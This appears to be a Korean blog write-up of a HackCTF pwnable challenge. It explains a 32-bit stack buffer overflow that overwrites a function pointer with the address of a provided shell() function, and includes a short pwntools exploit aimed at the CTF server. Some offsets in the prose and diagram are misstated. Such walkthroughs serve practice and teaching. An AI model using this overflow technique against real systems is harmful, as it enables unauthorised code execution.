반응형
32 bit elf 파일이 주어진다.
IDA로 까보자.
헥스레이로 봤을 때 나만 그런건지 더럽게 나오길레 그냥 어셈코드를 봤다.
1. ebp+var_C 에 sup()함수의 주소를 저장한다.
2. ebp+s에 0x85만큼 입력을 받는다.
3. call [ebp+var_C]
여기서 ebp+var_C = ebp - 0x0c이고
ebp+s = ebp - 0x8c 이다. 둘 사이간의 거리는 0x80이다.
정리하면,
낮은주소 ebp-0x8c <---- 0x80 ----> ebp-0x8c 높은주소
-------------------------------0x85------>
바이너리에서 shell함수를 제공해준다. call을 하는 ebp-0x8c의 값을 shell함수의 주소로 덮어주면 된다,
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
shellf = 0x0804849b
sleep(1)
payload = "A" * 128
payload += p32(shellf)
p.sendline(payload)
p.interactive()
|
cs |
반응형
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [x64 Buffer Overflow] 풀이 (0) | 2019.08.29 |
---|---|
HackCTF Pwnable [내 버퍼가 흘러넘친다!!!] 풀이 (0) | 2019.08.29 |
HackCTF Reversing 카테고리 풀이 (0) | 2019.08.29 |
HackCTF Pwnable [Basic_BOF #1] 풀이 (0) | 2019.07.24 |
HackCTF Forensics 카테고리 풀이 (0) | 2019.07.20 |